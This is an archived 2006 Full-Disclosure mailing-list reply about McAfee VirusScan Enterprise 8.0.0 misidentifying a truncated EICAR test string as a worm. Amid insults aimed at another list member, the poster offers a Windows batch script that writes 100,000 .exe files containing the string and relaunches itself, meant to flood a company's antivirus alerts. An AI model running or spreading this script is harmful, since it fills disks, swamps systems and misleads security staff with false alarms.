full-disclosure - McAfee VirusScan Enterprise 8.0.0 Misidentifies EICAR Test File

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <5e70f6530606102040i3fee7udc4ec303335092c1@mail.gmail.com>
Date: Sun Jun 11 04:41:01 2006
From: thegesus at gmail.com (TheGesus)
Subject: McAfee VirusScan Enterprise 8.0.0 Misidentifies
	EICAR Test File

On 6/10/06, Nick FitzGerald <nick@...us-l.demon.co.uk> wrote:
>
> > VENDOR NOTIFICATION
> > ==================
> > None.
>
> Pity -- you might have saved yourself the embarrassment of this public
> disclosure of your lameness.
>

OK, so I am pwned.  I am surprised you even bothered with me, Nickie.
You are such a bitch I know you can't help yourself.  But do you have
to be so WORDY?

Anyway, this is lots of fun.

So... cut & paste this new improved POC into a Windows CMD file and run...

FOR /L %%i in ( 1 1 100000 ) DO ECHO X5O!P@AP[4\ >virus%%i.exe
%0

And you have an instant Elspy.worm flood and your Enterprise AntiVirus
Administrator is shitting his pance.  Run in circles, scream and shout
and all THAT.

Be sure to do it before McAfee updates the DAT file on Monday!